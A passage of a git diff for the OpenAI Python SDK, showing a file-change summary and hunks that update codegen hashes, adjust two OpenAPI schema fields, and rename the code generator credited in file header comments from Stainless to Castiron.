.../response_web_search_call_in_progress_event.py | 2 +-
.../response_web_search_call_searching_event.py | 2 +-
src/openai/types/responses/responses_client_event.py | 2 +-
.../types/responses/responses_client_event_param.py | 2 +-
src/openai/types/responses/responses_server_event.py | 2 +-
src/openai/types/responses/skill_reference.py | 2 +-
src/openai/types/responses/skill_reference_param.py | 2 +-
src/openai/types/responses/tool.py | 2 +-
src/openai/types/responses/tool_choice_allowed.py | 2 +-
.../types/responses/tool_choice_allowed_param.py | 2 +-
src/openai/types/responses/tool_choice_apply_patch.py | 2 +-
.../types/responses/tool_choice_apply_patch_param.py | 2 +-
src/openai/types/responses/tool_choice_custom.py | 2 +-
src/openai/types/responses/tool_choice_custom_param.py | 2 +-
src/openai/types/responses/tool_choice_function.py | 2 +-
.../types/responses/tool_choice_function_param.py | 2 +-
src/openai/types/responses/tool_choice_mcp.py | 2 +-
src/openai/types/responses/tool_choice_mcp_param.py | 2 +-
src/openai/types/responses/tool_choice_options.py | 2 +-
src/openai/types/responses/tool_choice_shell.py | 2 +-
src/openai/types/responses/tool_choice_shell_param.py | 2 +-
src/openai/types/responses/tool_choice_types.py | 2 +-
src/openai/types/responses/tool_choice_types_param.py | 2 +-
src/openai/types/responses/tool_param.py | 2 +-
src/openai/types/responses/tool_search_tool.py | 2 +-
src/openai/types/responses/tool_search_tool_param.py | 2 +-
src/openai/types/responses/web_search_preview_tool.py | 2 +-
.../types/responses/web_search_preview_tool_param.py | 2 +-
src/openai/types/responses/web_search_tool.py | 2 +-
src/openai/types/responses/web_search_tool_param.py | 2 +-
src/openai/types/shared/__init__.py | 2 +-
src/openai/types/shared/all_models.py | 2 +-
src/openai/types/shared/chat_model.py | 2 +-
src/openai/types/shared/comparison_filter.py | 2 +-
src/openai/types/shared/compound_filter.py | 2 +-
src/openai/types/shared/custom_tool_input_format.py | 2 +-
src/openai/types/shared/error_object.py | 2 +-
src/openai/types/shared/function_definition.py | 2 +-
src/openai/types/shared/function_parameters.py | 2 +-
src/openai/types/shared/metadata.py | 2 +-
src/openai/types/shared/oauth_error_code.py | 2 +-
src/openai/types/shared/reasoning.py | 2 +-
src/openai/types/shared/reasoning_effort.py | 2 +-
src/openai/types/shared/response_format_json_object.py | 2 +-
src/openai/types/shared/response_format_json_schema.py | 2 +-
src/openai/types/shared/response_format_text.py | 2 +-
.../types/shared/response_format_text_grammar.py | 2 +-
src/openai/types/shared/response_format_text_python.py | 2 +-
src/openai/types/shared/responses_model.py | 2 +-
src/openai/types/shared_params/__init__.py | 2 +-
src/openai/types/shared_params/chat_model.py | 2 +-
src/openai/types/shared_params/comparison_filter.py | 2 +-
src/openai/types/shared_params/compound_filter.py | 2 +-
.../types/shared_params/custom_tool_input_format.py | 2 +-
src/openai/types/shared_params/function_definition.py | 2 +-
src/openai/types/shared_params/function_parameters.py | 2 +-
src/openai/types/shared_params/metadata.py | 2 +-
src/openai/types/shared_params/oauth_error_code.py | 2 +-
src/openai/types/shared_params/reasoning.py | 2 +-
src/openai/types/shared_params/reasoning_effort.py | 2 +-
.../types/shared_params/response_format_json_object.py | 2 +-
.../types/shared_params/response_format_json_schema.py | 2 +-
src/openai/types/shared_params/response_format_text.py | 2 +-
src/openai/types/shared_params/responses_model.py | 2 +-
src/openai/types/skill.py | 2 +-
src/openai/types/skill_create_params.py | 2 +-
src/openai/types/skill_list.py | 2 +-
src/openai/types/skill_list_params.py | 2 +-
src/openai/types/skill_update_params.py | 2 +-
src/openai/types/skills/__init__.py | 2 +-
src/openai/types/skills/deleted_skill_version.py | 2 +-
src/openai/types/skills/skill_version.py | 2 +-
src/openai/types/skills/skill_version_list.py | 2 +-
src/openai/types/skills/version_create_params.py | 2 +-
src/openai/types/skills/version_list_params.py | 2 +-
src/openai/types/skills/versions/__init__.py | 2 +-
src/openai/types/static_file_chunking_strategy.py | 2 +-
.../types/static_file_chunking_strategy_object.py | 2 +-
.../static_file_chunking_strategy_object_param.py | 2 +-
.../types/static_file_chunking_strategy_param.py | 2 +-
src/openai/types/upload.py | 2 +-
src/openai/types/upload_complete_params.py | 2 +-
src/openai/types/upload_create_params.py | 2 +-
src/openai/types/uploads/__init__.py | 2 +-
src/openai/types/uploads/part_create_params.py | 2 +-
src/openai/types/uploads/upload_part.py | 2 +-
src/openai/types/vector_store.py | 2 +-
src/openai/types/vector_store_create_params.py | 2 +-
src/openai/types/vector_store_deleted.py | 2 +-
src/openai/types/vector_store_list_params.py | 2 +-
src/openai/types/vector_store_search_params.py | 2 +-
src/openai/types/vector_store_search_response.py | 2 +-
src/openai/types/vector_store_update_params.py | 2 +-
src/openai/types/vector_stores/__init__.py | 2 +-
.../types/vector_stores/file_batch_create_params.py | 2 +-
.../vector_stores/file_batch_list_files_params.py | 2 +-
.../types/vector_stores/file_content_response.py | 2 +-
src/openai/types/vector_stores/file_create_params.py | 2 +-
src/openai/types/vector_stores/file_list_params.py | 2 +-
src/openai/types/vector_stores/file_update_params.py | 2 +-
src/openai/types/vector_stores/vector_store_file.py | 2 +-
.../types/vector_stores/vector_store_file_batch.py | 2 +-
.../types/vector_stores/vector_store_file_deleted.py | 2 +-
src/openai/types/video.py | 2 +-
src/openai/types/video_create_character_params.py | 2 +-
src/openai/types/video_create_character_response.py | 2 +-
src/openai/types/video_create_error.py | 2 +-
src/openai/types/video_create_params.py | 2 +-
src/openai/types/video_delete_response.py | 2 +-
src/openai/types/video_download_content_params.py | 2 +-
src/openai/types/video_edit_params.py | 2 +-
src/openai/types/video_extend_params.py | 2 +-
src/openai/types/video_get_character_response.py | 2 +-
src/openai/types/video_list_params.py | 2 +-
src/openai/types/video_model.py | 2 +-
src/openai/types/video_model_param.py | 2 +-
src/openai/types/video_remix_params.py | 2 +-
src/openai/types/video_seconds.py | 2 +-
src/openai/types/video_size.py | 2 +-
src/openai/types/webhooks/__init__.py | 2 +-
.../types/webhooks/batch_cancelled_webhook_event.py | 2 +-
.../types/webhooks/batch_completed_webhook_event.py | 2 +-
.../types/webhooks/batch_expired_webhook_event.py | 2 +-
.../types/webhooks/batch_failed_webhook_event.py | 2 +-
.../types/webhooks/eval_run_canceled_webhook_event.py | 2 +-
.../types/webhooks/eval_run_failed_webhook_event.py | 2 +-
.../types/webhooks/eval_run_succeeded_webhook_event.py | 2 +-
.../fine_tuning_job_cancelled_webhook_event.py | 2 +-
.../webhooks/fine_tuning_job_failed_webhook_event.py | 2 +-
.../fine_tuning_job_succeeded_webhook_event.py | 2 +-
.../types/webhooks/live_call_incoming_webhook_event.py | 2 +-
.../webhooks/realtime_call_incoming_webhook_event.py | 2 +-
.../types/webhooks/response_cancelled_webhook_event.py | 2 +-
.../types/webhooks/response_completed_webhook_event.py | 2 +-
.../types/webhooks/response_failed_webhook_event.py | 2 +-
.../webhooks/response_incomplete_webhook_event.py | 2 +-
src/openai/types/webhooks/unwrap_webhook_event.py | 2 +-
src/openai/types/websocket_connection_options.py | 2 +-
src/openai/types/websocket_reconnection.py | 2 +-
tests/api_resources/__init__.py | 2 +-
tests/api_resources/admin/__init__.py | 2 +-
tests/api_resources/admin/organization/__init__.py | 2 +-
.../admin/organization/groups/__init__.py | 2 +-
.../admin/organization/groups/test_roles.py | 2 +-
.../admin/organization/groups/test_users.py | 2 +-
.../admin/organization/projects/__init__.py | 2 +-
.../admin/organization/projects/groups/__init__.py | 2 +-
.../admin/organization/projects/groups/test_roles.py | 2 +-
.../organization/projects/service_accounts/__init__.py | 2 +-
.../projects/service_accounts/test_api_keys.py | 2 +-
.../admin/organization/projects/test_api_keys.py | 2 +-
.../admin/organization/projects/test_certificates.py | 2 +-
.../admin/organization/projects/test_data_retention.py | 2 +-
.../admin/organization/projects/test_groups.py | 2 +-
.../projects/test_hosted_tool_permissions.py | 2 +-
.../organization/projects/test_model_permissions.py | 2 +-
.../admin/organization/projects/test_rate_limits.py | 2 +-
.../admin/organization/projects/test_roles.py | 2 +-
.../organization/projects/test_service_accounts.py | 2 +-
.../admin/organization/projects/test_spend_alerts.py | 2 +-
.../admin/organization/projects/test_spend_limit.py | 2 +-
.../admin/organization/projects/test_users.py | 2 +-
.../admin/organization/projects/users/__init__.py | 2 +-
.../admin/organization/projects/users/test_roles.py | 2 +-
.../admin/organization/test_admin_api_keys.py | 2 +-
.../admin/organization/test_audit_logs.py | 2 +-
.../admin/organization/test_certificates.py | 2 +-
.../admin/organization/test_data_retention.py | 2 +-
tests/api_resources/admin/organization/test_groups.py | 2 +-
tests/api_resources/admin/organization/test_invites.py | 2 +-
.../api_resources/admin/organization/test_projects.py | 2 +-
tests/api_resources/admin/organization/test_roles.py | 2 +-
.../admin/organization/test_spend_alerts.py | 2 +-
.../admin/organization/test_spend_limit.py | 2 +-
tests/api_resources/admin/organization/test_usage.py | 2 +-
tests/api_resources/admin/organization/test_users.py | 2 +-
.../api_resources/admin/organization/users/__init__.py | 2 +-
.../admin/organization/users/test_roles.py | 2 +-
tests/api_resources/audio/__init__.py | 2 +-
tests/api_resources/audio/test_speech.py | 2 +-
tests/api_resources/audio/test_transcriptions.py | 2 +-
tests/api_resources/audio/test_translations.py | 2 +-
tests/api_resources/beta/__init__.py | 2 +-
tests/api_resources/beta/chatkit/__init__.py | 2 +-
tests/api_resources/beta/chatkit/test_sessions.py | 2 +-
tests/api_resources/beta/chatkit/test_threads.py | 2 +-
tests/api_resources/beta/responses/__init__.py | 2 +-
tests/api_resources/beta/responses/test_input_items.py | 2 +-
.../api_resources/beta/responses/test_input_tokens.py | 2 +-
tests/api_resources/beta/test_assistants.py | 2 +-
tests/api_resources/beta/test_responses.py | 2 +-
tests/api_resources/beta/test_threads.py | 2 +-
tests/api_resources/beta/threads/__init__.py | 2 +-
tests/api_resources/beta/threads/runs/__init__.py | 2 +-
tests/api_resources/beta/threads/runs/test_steps.py | 2 +-
tests/api_resources/beta/threads/test_messages.py | 2 +-
tests/api_resources/beta/threads/test_runs.py | 2 +-
tests/api_resources/chat/__init__.py | 2 +-
tests/api_resources/chat/completions/__init__.py | 2 +-
tests/api_resources/chat/completions/test_messages.py | 2 +-
tests/api_resources/chat/test_completions.py | 2 +-
tests/api_resources/containers/__init__.py | 2 +-
tests/api_resources/containers/files/__init__.py | 2 +-
tests/api_resources/containers/files/test_content.py | 2 +-
tests/api_resources/containers/test_files.py | 2 +-
tests/api_resources/conversations/__init__.py | 2 +-
tests/api_resources/conversations/test_items.py | 2 +-
tests/api_resources/evals/__init__.py | 2 +-
tests/api_resources/evals/runs/__init__.py | 2 +-
tests/api_resources/evals/runs/test_output_items.py | 2 +-
tests/api_resources/evals/test_runs.py | 2 +-
tests/api_resources/fine_tuning/__init__.py | 2 +-
tests/api_resources/fine_tuning/alpha/__init__.py | 2 +-
tests/api_resources/fine_tuning/alpha/test_graders.py | 2 +-
.../api_resources/fine_tuning/checkpoints/__init__.py | 2 +-
.../fine_tuning/checkpoints/test_permissions.py | 2 +-
tests/api_resources/fine_tuning/jobs/__init__.py | 2 +-
.../api_resources/fine_tuning/jobs/test_checkpoints.py | 2 +-
tests/api_resources/fine_tuning/test_jobs.py | 2 +-
tests/api_resources/realtime/__init__.py | 2 +-
tests/api_resources/realtime/test_calls.py | 2 +-
tests/api_resources/realtime/test_client_secrets.py | 2 +-
tests/api_resources/responses/__init__.py | 2 +-
tests/api_resources/responses/test_input_items.py | 2 +-
tests/api_resources/responses/test_input_tokens.py | 2 +-
tests/api_resources/skills/__init__.py | 2 +-
tests/api_resources/skills/test_content.py | 2 +-
tests/api_resources/skills/test_versions.py | 2 +-
tests/api_resources/skills/versions/__init__.py | 2 +-
tests/api_resources/skills/versions/test_content.py | 2 +-
tests/api_resources/test_batches.py | 2 +-
tests/api_resources/test_completions.py | 2 +-
tests/api_resources/test_containers.py | 2 +-
tests/api_resources/test_content_provenance_checks.py | 2 +-
tests/api_resources/test_conversations.py | 2 +-
tests/api_resources/test_embeddings.py | 2 +-
tests/api_resources/test_evals.py | 2 +-
tests/api_resources/test_files.py | 2 +-
tests/api_resources/test_images.py | 2 +-
tests/api_resources/test_models.py | 2 +-
tests/api_resources/test_moderations.py | 2 +-
tests/api_resources/test_realtime.py | 2 +-
tests/api_resources/test_responses.py | 2 +-
tests/api_resources/test_skills.py | 2 +-
tests/api_resources/test_uploads.py | 2 +-
tests/api_resources/test_vector_stores.py | 2 +-
tests/api_resources/test_videos.py | 2 +-
tests/api_resources/test_webhooks.py | 2 +-
tests/api_resources/uploads/__init__.py | 2 +-
tests/api_resources/uploads/test_parts.py | 2 +-
tests/api_resources/vector_stores/__init__.py | 2 +-
tests/api_resources/vector_stores/test_file_batches.py | 2 +-
tests/api_resources/vector_stores/test_files.py | 2 +-
tests/api_resources/webhooks/__init__.py | 2 +-
1464 files changed, 1469 insertions(+), 1471 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 0682ebf0a1..db8aaaaf99 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 42c8861d-adc3-4c8a-81b3-3b7f497f41eb
-openapi_spec_hash: d342651bd77c6cd6ea10a9d889b35bb8
-openapi_transformed_spec_hash: 259f19fd2d38c6e784bbb40bf2f9a971
-config_hash: fce3820c4f95b555e486349bc7d297d8
-codegen_sha: acf1dbb5db99bd14d6dae73da59f59fb17e95381
+generation_id: 97c37265-2164-4aaa-b503-a3e7dedc7e49
+openapi_spec_hash: a9327591e48827c48378fa24237ebd1b
+openapi_transformed_spec_hash: 1c62a22d294a516e3686b9222fe77548
+config_hash: 4617b0962f16d328804312ac81aac630
+codegen_sha: 51bfbc88bc45e2106cb388a3d1c5c193e092f986
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index fc116f157d..047f3ca07c 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -61674,7 +61674,6 @@ components:
description: The namespace name used in tool calls (for example, `crm`).
description:
type: string
- minLength: 1
description: A description of the namespace shown to the model.
tools:
items:
@@ -62651,8 +62650,8 @@ components:
- type: 'null'
type: object
required:
- - call_id
- type
+ - call_id
- output
title: Function tool call output
description: The output of a function tool call.
@@ -66541,7 +66540,6 @@ components:
description: The namespace name used in tool calls (for example, `crm`).
description:
type: string
- minLength: 1
description: A description of the namespace shown to the model.
tools:
items:
@@ -69679,8 +69677,8 @@ components:
- type: 'null'
type: object
required:
- - call_id
- type
+ - call_id
- output
title: Function tool call output
description: The output of a function tool call.
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index f59b47bb71..d433ac4318 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/_client.py b/src/openai/_client.py
index d7ca675b4d..a12a871f18 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/_module_client.py b/src/openai/_module_client.py
index 19c08c7589..df139ec952 100644
--- a/src/openai/_module_client.py
+++ b/src/openai/_module_client.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/__init__.py b/src/openai/resources/__init__.py
index 75bf79df0b..9c20dc3067 100644
--- a/src/openai/resources/__init__.py
+++ b/src/openai/resources/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .beta import (
Beta,
diff --git a/src/openai/resources/admin/__init__.py b/src/openai/resources/admin/__init__.py
index 730c20540c..f969cb41d7 100644
--- a/src/openai/resources/admin/__init__.py
+++ b/src/openai/resources/admin/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .admin import (
Admin,
diff --git a/src/openai/resources/admin/admin.py b/src/openai/resources/admin/admin.py
index 3a3e288c6a..52cca51726 100644
--- a/src/openai/resources/admin/admin.py
+++ b/src/openai/resources/admin/admin.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/__init__.py b/src/openai/resources/admin/organization/__init__.py
index cb306466ea..966c00d7ce 100644
--- a/src/openai/resources/admin/organization/__init__.py
+++ b/src/openai/resources/admin/organization/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/admin_api_keys.py b/src/openai/resources/admin/organization/admin_api_keys.py
index fe10e236f5..b521393f2e 100644
--- a/src/openai/resources/admin/organization/admin_api_keys.py
+++ b/src/openai/resources/admin/organization/admin_api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index ef4904df62..9c8ec62543 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/certificates.py b/src/openai/resources/admin/organization/certificates.py
index aa7826794d..025c493368 100644
--- a/src/openai/resources/admin/organization/certificates.py
+++ b/src/openai/resources/admin/organization/certificates.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/data_retention.py b/src/openai/resources/admin/organization/data_retention.py
index c3b7325a92..1b353c7c18 100644
--- a/src/openai/resources/admin/organization/data_retention.py
+++ b/src/openai/resources/admin/organization/data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/groups/__init__.py b/src/openai/resources/admin/organization/groups/__init__.py
index ffeb8b60ec..692e070916 100644
--- a/src/openai/resources/admin/organization/groups/__init__.py
+++ b/src/openai/resources/admin/organization/groups/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/groups/groups.py b/src/openai/resources/admin/organization/groups/groups.py
index fa7a6b2354..7c7f1dc5cd 100644
--- a/src/openai/resources/admin/organization/groups/groups.py
+++ b/src/openai/resources/admin/organization/groups/groups.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/groups/roles.py b/src/openai/resources/admin/organization/groups/roles.py
index c4405c487c..e7054d5f0c 100644
--- a/src/openai/resources/admin/organization/groups/roles.py
+++ b/src/openai/resources/admin/organization/groups/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/groups/users.py b/src/openai/resources/admin/organization/groups/users.py
index e0ac71afd9..0e40f772b2 100644
--- a/src/openai/resources/admin/organization/groups/users.py
+++ b/src/openai/resources/admin/organization/groups/users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/invites.py b/src/openai/resources/admin/organization/invites.py
index b9db8c622c..b06e4be2aa 100644
--- a/src/openai/resources/admin/organization/invites.py
+++ b/src/openai/resources/admin/organization/invites.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/organization.py b/src/openai/resources/admin/organization/organization.py
index 7100cbcbfb..f13a26a350 100644
--- a/src/openai/resources/admin/organization/organization.py
+++ b/src/openai/resources/admin/organization/organization.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/__init__.py b/src/openai/resources/admin/organization/projects/__init__.py
index f585c0eabb..cf67142351 100644
--- a/src/openai/resources/admin/organization/projects/__init__.py
+++ b/src/openai/resources/admin/organization/projects/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/projects/api_keys.py b/src/openai/resources/admin/organization/projects/api_keys.py
index 407bb6b485..0bc16e807c 100644
--- a/src/openai/resources/admin/organization/projects/api_keys.py
+++ b/src/openai/resources/admin/organization/projects/api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/certificates.py b/src/openai/resources/admin/organization/projects/certificates.py
index ec449d570a..0bd8c02601 100644
--- a/src/openai/resources/admin/organization/projects/certificates.py
+++ b/src/openai/resources/admin/organization/projects/certificates.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/data_retention.py b/src/openai/resources/admin/organization/projects/data_retention.py
index 2d0df3e7e2..14c9c8c4a0 100644
--- a/src/openai/resources/admin/organization/projects/data_retention.py
+++ b/src/openai/resources/admin/organization/projects/data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/groups/__init__.py b/src/openai/resources/admin/organization/projects/groups/__init__.py
index 4feb66239f..2e6396d283 100644
--- a/src/openai/resources/admin/organization/projects/groups/__init__.py
+++ b/src/openai/resources/admin/organization/projects/groups/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/projects/groups/groups.py b/src/openai/resources/admin/organization/projects/groups/groups.py
index a7ef36fd64..2b8ad6fd55 100644
--- a/src/openai/resources/admin/organization/projects/groups/groups.py
+++ b/src/openai/resources/admin/organization/projects/groups/groups.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/groups/roles.py b/src/openai/resources/admin/organization/projects/groups/roles.py
index 5961d05e70..70c5e93363 100644
--- a/src/openai/resources/admin/organization/projects/groups/roles.py
+++ b/src/openai/resources/admin/organization/projects/groups/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py b/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
index 27bcee5f5e..05737e8860 100644
--- a/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
+++ b/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/model_permissions.py b/src/openai/resources/admin/organization/projects/model_permissions.py
index 157b4a4f72..7320109a72 100644
--- a/src/openai/resources/admin/organization/projects/model_permissions.py
+++ b/src/openai/resources/admin/organization/projects/model_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/projects.py b/src/openai/resources/admin/organization/projects/projects.py
index 36d8b0805a..ea2fb51613 100644
--- a/src/openai/resources/admin/organization/projects/projects.py
+++ b/src/openai/resources/admin/organization/projects/projects.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/rate_limits.py b/src/openai/resources/admin/organization/projects/rate_limits.py
index 9fe20f572e..7f33d07414 100644
--- a/src/openai/resources/admin/organization/projects/rate_limits.py
+++ b/src/openai/resources/admin/organization/projects/rate_limits.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/roles.py b/src/openai/resources/admin/organization/projects/roles.py
index 4c603ec5b1..754a487b52 100644
--- a/src/openai/resources/admin/organization/projects/roles.py
+++ b/src/openai/resources/admin/organization/projects/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/__init__.py b/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
index 598b43ed26..06f6b96b23 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .api_keys import (
APIKeys,
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
index 61ef677c53..d25b1e8bf0 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
index 61dbc8b642..e7aa6f0f4e 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/spend_alerts.py b/src/openai/resources/admin/organization/projects/spend_alerts.py
index 9eb0922df5..be0ed1bae6 100644
--- a/src/openai/resources/admin/organization/projects/spend_alerts.py
+++ b/src/openai/resources/admin/organization/projects/spend_alerts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/spend_limit.py b/src/openai/resources/admin/organization/projects/spend_limit.py
index baca973214..41497b2838 100644
--- a/src/openai/resources/admin/organization/projects/spend_limit.py
+++ b/src/openai/resources/admin/organization/projects/spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/users/__init__.py b/src/openai/resources/admin/organization/projects/users/__init__.py
